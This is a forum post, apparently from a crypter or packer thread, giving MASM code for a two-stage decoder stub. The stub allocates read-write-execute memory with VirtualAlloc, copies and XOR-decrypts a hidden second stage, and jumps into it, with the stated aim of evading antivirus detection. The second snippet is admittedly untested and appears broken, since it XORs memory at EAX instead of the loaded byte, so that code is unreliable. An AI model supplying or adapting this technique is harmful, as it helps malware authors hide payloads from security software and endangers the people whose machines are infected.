I've played with this sort of thing quite a lot the past 3 months. Again, sorry I didnt mean to come as an ass.
Love people who contribute source.
I'll give you another idea I've been toying with and seems to work. Code is in masm.
Instead of adding another section (which is easily detected, and also overused ),
break up your stub in 2 or 3 stages.
What you are left with is the 1st stage stub, which loads and decodes ( just as you have done).
the difference is in the 2nd stub. It is placed anywhere you want, and it does not have to be read-write.
the only thing you need is VirtualAlloc.
Essentially, you know before-hand where your 2nd stage is at (address), so you allocate a page in memory, use it as read-write-execute,
then you decode it (just as you've done), and then jump into it.
Code:
; Call virtual alloc
invoke VirtualAlloc,NULL,1Ah,MEM_COMMIT or MEM_RESERVE,PAGE_EXECUTE_READWRITE
; eax should now have the pointer
; We need the Address where the 2nd stage stub is to be found !
; Esi should have the source of the code we want to execute
lea esi, dword ptr [text]
; Edi should have the destination address ( VirtualAlloc address )
lea edi, [eax]
; Copy the actual contents ( we need the number of the bytes to be copied )
mov ecx, 45h ; 45 bytes
rep movsb
; Jump into the actual code
jmp eax
Right after the jmp to eax, you can decrypt.
You can test it, by substituting the [text] address with a valid address where code resides.
If you compile this, hex edit your .data section, and add a simple xor eax, eax to see when the code jumps in eax, if it will do xor eax,eax.
You can decrypt on the fly, as you are copying:
Code:
; copy, decrypt, store
mov ebx, eax ; store ptr in ebx
mov ecx, 45h ; size of stub
copy:
lodsb
xor dword ptr [eax], 021h
stosb
loop copy
; Jump into the actual code
jmp ebx
Note: I haven't tested the second bit, but it should work.
Or you can decrypt after you have jumped into the allocated RWExec memory page.
I don't know if this will be picked up by AV's haven't seen it being used anywhere, and even if it has, since you can hide your 2nd stage anywhere,
I imagine it will be very hard to detect.
The only downfall is that you need VirtualAlloc. But then again, finding it shouldn't be too hard, not should it be suspicious importing it.